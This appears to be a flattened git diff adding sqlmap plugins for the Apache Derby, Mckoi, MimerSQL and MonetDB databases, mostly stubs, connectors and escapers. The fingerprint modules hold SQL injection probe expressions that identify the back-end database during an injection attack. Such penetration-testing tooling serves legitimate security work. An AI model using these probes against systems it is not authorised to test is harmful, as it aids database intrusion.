from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on Apache Derby it is not possible to enumerate password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getStatements(self):
|
||||
warnMsg = "on Apache Derby it is not possible to enumerate the SQL statements"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def getPrivileges(self, *args, **kwargs):
|
||||
warnMsg = "on Apache Derby it is not possible to enumerate the user privileges"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getRoles(self, *args, **kwargs):
|
||||
warnMsg = "on Apache Derby it is not possible to enumerate the user roles"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getHostname(self):
|
||||
warnMsg = "on Apache Derby it is not possible to enumerate the hostname"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def getBanner(self):
|
||||
warnMsg = "on Apache Derby it is not possible to enumerate the banner"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
11
plugins/dbms/derby/filesystem.py
Normal file
11
plugins/dbms/derby/filesystem.py
Normal file
@@ -0,0 +1,11 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
pass
|
||||
94
plugins/dbms/derby/fingerprint.py
Normal file
94
plugins/dbms/derby/fingerprint.py
Normal file
@@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import DERBY_ALIASES
|
||||
from lib.request import inject
|
||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||
|
||||
class Fingerprint(GenericFingerprint):
|
||||
def __init__(self):
|
||||
GenericFingerprint.__init__(self, DBMS.DERBY)
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.DERBY
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if banVer:
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES):
|
||||
setDbms(DBMS.DERBY)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
|
||||
infoMsg = "testing %s" % DBMS.DERBY
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.DERBY
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms(DBMS.DERBY)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
18
plugins/dbms/derby/syntax.py
Normal file
18
plugins/dbms/derby/syntax.py
Normal file
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||
|
||||
class Syntax(GenericSyntax):
|
||||
@staticmethod
|
||||
def escape(expression, quote=True):
|
||||
"""
|
||||
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
|
||||
True
|
||||
"""
|
||||
|
||||
return expression
|
||||
28
plugins/dbms/derby/takeover.py
Normal file
28
plugins/dbms/derby/takeover.py
Normal file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||
|
||||
class Takeover(GenericTakeover):
|
||||
def osCmd(self):
|
||||
errMsg = "on Apache Derby it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "on Apache Derby it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osPwn(self):
|
||||
errMsg = "on Apache Derby it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osSmb(self):
|
||||
errMsg = "on Apache Derby it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
@@ -43,7 +43,7 @@ class Enumeration(GenericEnumeration):
|
||||
return H2_DEFAULT_SCHEMA
|
||||
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on H2 it is not possible to list password hashes"
|
||||
warnMsg = "on H2 it is not possible to enumerate password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
29
plugins/dbms/mckoi/__init__.py
Normal file
29
plugins/dbms/mckoi/__init__.py
Normal file
@@ -0,0 +1,29 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import MCKOI_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from plugins.dbms.mckoi.enumeration import Enumeration
|
||||
from plugins.dbms.mckoi.filesystem import Filesystem
|
||||
from plugins.dbms.mckoi.fingerprint import Fingerprint
|
||||
from plugins.dbms.mckoi.syntax import Syntax
|
||||
from plugins.dbms.mckoi.takeover import Takeover
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class MckoiMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines Mckoi methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = MCKOI_SYSTEM_DBS
|
||||
|
||||
for cls in self.__class__.__bases__:
|
||||
cls.__init__(self)
|
||||
|
||||
unescaper[DBMS.MCKOI] = Syntax.escape
|
||||
15
plugins/dbms/mckoi/connector.py
Normal file
15
plugins/dbms/mckoi/connector.py
Normal file
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
def connect(self):
|
||||
errMsg = "on Mckoi it is not (currently) possible to establish a "
|
||||
errMsg += "direct connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
84
plugins/dbms/mckoi/enumeration.py
Normal file
84
plugins/dbms/mckoi/enumeration.py
Normal file
@@ -0,0 +1,84 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.data import logger
|
||||
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def getBanner(self):
|
||||
warnMsg = "on Mckoi it is not possible to get a banner"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
def getCurrentUser(self):
|
||||
warnMsg = "on Mckoi it is not possible to enumerate the current user"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def getCurrentDb(self):
|
||||
warnMsg = "on Mckoi it is not possible to get name of the current database"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def isDba(self, user=None):
|
||||
warnMsg = "on Mckoi it is not possible to test if current user is DBA"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def getUsers(self):
|
||||
warnMsg = "on Mckoi it is not possible to enumerate the users"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on Mckoi it is not possible to enumerate the user password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getPrivileges(self, *args, **kwargs):
|
||||
warnMsg = "on Mckoi it is not possible to enumerate the user privileges"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getDbs(self):
|
||||
warnMsg = "on Mckoi it is not possible to enumerate databases (use only '--tables')"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def searchDb(self):
|
||||
warnMsg = "on Mckoi it is not possible to search databases"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def searchTable(self):
|
||||
warnMsg = "on Mckoi it is not possible to search tables"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def searchColumn(self):
|
||||
warnMsg = "on Mckoi it is not possible to search columns"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def search(self):
|
||||
warnMsg = "on Mckoi search option is not available"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def getHostname(self):
|
||||
warnMsg = "on Mckoi it is not possible to enumerate the hostname"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def getStatements(self):
|
||||
warnMsg = "on Mckoi it is not possible to enumerate the SQL statements"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
18
plugins/dbms/mckoi/filesystem.py
Normal file
18
plugins/dbms/mckoi/filesystem.py
Normal file
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
def readFile(self, remoteFile):
|
||||
errMsg = "on Mckoi it is not possible to read files"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
||||
errMsg = "on Mckoi it is not possible to write files"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
93
plugins/dbms/mckoi/fingerprint.py
Normal file
93
plugins/dbms/mckoi/fingerprint.py
Normal file
@@ -0,0 +1,93 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import MCKOI_ALIASES
|
||||
from lib.core.settings import MCKOI_DEFAULT_SCHEMA
|
||||
from lib.request import inject
|
||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||
|
||||
class Fingerprint(GenericFingerprint):
|
||||
def __init__(self):
|
||||
GenericFingerprint.__init__(self, DBMS.MCKOI)
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.MCKOI
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if banVer:
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
if not conf.extensiveFp and Backend.isDbmsWithin(MCKOI_ALIASES):
|
||||
setDbms(DBMS.MCKOI)
|
||||
return True
|
||||
|
||||
infoMsg = "testing %s" % DBMS.MCKOI
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("DATEOB()>=DATEOB(NULL)")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.MCKOI
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("ABS(1/0)>ABS(0/1)")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms(DBMS.MCKOI)
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
def forceDbmsEnum(self):
|
||||
conf.db = MCKOI_DEFAULT_SCHEMA
|
||||
18
plugins/dbms/mckoi/syntax.py
Normal file
18
plugins/dbms/mckoi/syntax.py
Normal file
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||
|
||||
class Syntax(GenericSyntax):
|
||||
@staticmethod
|
||||
def escape(expression, quote=True):
|
||||
"""
|
||||
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
|
||||
True
|
||||
"""
|
||||
|
||||
return expression
|
||||
28
plugins/dbms/mckoi/takeover.py
Normal file
28
plugins/dbms/mckoi/takeover.py
Normal file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||
|
||||
class Takeover(GenericTakeover):
|
||||
def osCmd(self):
|
||||
errMsg = "on Mckoi it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "on Mckoi it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osPwn(self):
|
||||
errMsg = "on Mckoi it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osSmb(self):
|
||||
errMsg = "on Mckoi it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
30
plugins/dbms/mimersql/__init__.py
Normal file
30
plugins/dbms/mimersql/__init__.py
Normal file
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import MIMERSQL_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
from plugins.dbms.mimersql.enumeration import Enumeration
|
||||
from plugins.dbms.mimersql.filesystem import Filesystem
|
||||
from plugins.dbms.mimersql.fingerprint import Fingerprint
|
||||
from plugins.dbms.mimersql.syntax import Syntax
|
||||
from plugins.dbms.mimersql.takeover import Takeover
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class MimerSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines MimerSQL methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = MIMERSQL_SYSTEM_DBS
|
||||
|
||||
for cls in self.__class__.__bases__:
|
||||
cls.__init__(self)
|
||||
|
||||
unescaper[DBMS.MIMERSQL] = Syntax.escape
|
||||
59
plugins/dbms/mimersql/connector.py
Normal file
59
plugins/dbms/mimersql/connector.py
Normal file
@@ -0,0 +1,59 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import mimerpy
|
||||
except:
|
||||
pass
|
||||
|
||||
import logging
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage: https://github.com/mimersql/MimerPy
|
||||
User guide: https://github.com/mimersql/MimerPy/blob/master/README.rst
|
||||
API: https://www.python.org/dev/peps/pep-0249/
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
def connect(self):
|
||||
self.initConnection()
|
||||
|
||||
try:
|
||||
self.connector = mimerpy.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout)
|
||||
except mimerpy.OperationalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
|
||||
def fetchall(self):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except mimerpy.ProgrammingError as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (mimerpy.OperationalError, mimerpy.ProgrammingError) as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
except mimerpy.InternalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
def select(self, query):
|
||||
self.execute(query)
|
||||
return self.fetchall()
|
||||
32
plugins/dbms/mimersql/enumeration.py
Normal file
32
plugins/dbms/mimersql/enumeration.py
Normal file
@@ -0,0 +1,32 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.data import logger
|
||||
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on MimerSQL it is not possible to enumerate password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getStatements(self):
|
||||
warnMsg = "on MimerSQL it is not possible to enumerate the SQL statements"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def getRoles(self, *args, **kwargs):
|
||||
warnMsg = "on MimerSQL it is not possible to enumerate the user roles"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getHostname(self):
|
||||
warnMsg = "on MimerSQL it is not possible to enumerate the hostname"
|
||||
logger.warn(warnMsg)
|
||||
11
plugins/dbms/mimersql/filesystem.py
Normal file
11
plugins/dbms/mimersql/filesystem.py
Normal file
@@ -0,0 +1,11 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
pass
|
||||
94
plugins/dbms/mimersql/fingerprint.py
Normal file
94
plugins/dbms/mimersql/fingerprint.py
Normal file
@@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import MIMERSQL_ALIASES
|
||||
from lib.request import inject
|
||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||
|
||||
class Fingerprint(GenericFingerprint):
|
||||
def __init__(self):
|
||||
GenericFingerprint.__init__(self, DBMS.MIMERSQL)
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.MIMERSQL
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if banVer:
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
if not conf.extensiveFp and Backend.isDbmsWithin(MIMERSQL_ALIASES):
|
||||
setDbms(DBMS.MIMERSQL)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
|
||||
infoMsg = "testing %s" % DBMS.MIMERSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("IRAND()>=0")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.MIMERSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("PASTE('[RANDSTR1]',0,0,'[RANDSTR2]')='[RANDSTR2][RANDSTR1]'")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms(DBMS.MIMERSQL)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
23
plugins/dbms/mimersql/syntax.py
Normal file
23
plugins/dbms/mimersql/syntax.py
Normal file
@@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.convert import getOrds
|
||||
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||
|
||||
class Syntax(GenericSyntax):
|
||||
@staticmethod
|
||||
def escape(expression, quote=True):
|
||||
"""
|
||||
>>> from lib.core.common import Backend
|
||||
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT UNICODE_CHAR(97)||UNICODE_CHAR(98)||UNICODE_CHAR(99)||UNICODE_CHAR(100)||UNICODE_CHAR(101)||UNICODE_CHAR(102)||UNICODE_CHAR(103)||UNICODE_CHAR(104) FROM foobar"
|
||||
True
|
||||
"""
|
||||
|
||||
def escaper(value):
|
||||
return "||".join("UNICODE_CHAR(%d)" % _ for _ in getOrds(value))
|
||||
|
||||
return Syntax._escape(expression, quote, escaper)
|
||||
28
plugins/dbms/mimersql/takeover.py
Normal file
28
plugins/dbms/mimersql/takeover.py
Normal file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||
|
||||
class Takeover(GenericTakeover):
|
||||
def osCmd(self):
|
||||
errMsg = "on MimerSQL it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "on MimerSQL it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osPwn(self):
|
||||
errMsg = "on MimerSQL it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osSmb(self):
|
||||
errMsg = "on MimerSQL it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
30
plugins/dbms/monetdb/__init__.py
Normal file
30
plugins/dbms/monetdb/__init__.py
Normal file
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import MONETDB_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
from plugins.dbms.monetdb.enumeration import Enumeration
|
||||
from plugins.dbms.monetdb.filesystem import Filesystem
|
||||
from plugins.dbms.monetdb.fingerprint import Fingerprint
|
||||
from plugins.dbms.monetdb.syntax import Syntax
|
||||
from plugins.dbms.monetdb.takeover import Takeover
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines MonetDB methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = MONETDB_SYSTEM_DBS
|
||||
|
||||
for cls in self.__class__.__bases__:
|
||||
cls.__init__(self)
|
||||
|
||||
unescaper[DBMS.MONETDB] = Syntax.escape
|
||||
59
plugins/dbms/monetdb/connector.py
Normal file
59
plugins/dbms/monetdb/connector.py
Normal file
@@ -0,0 +1,59 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
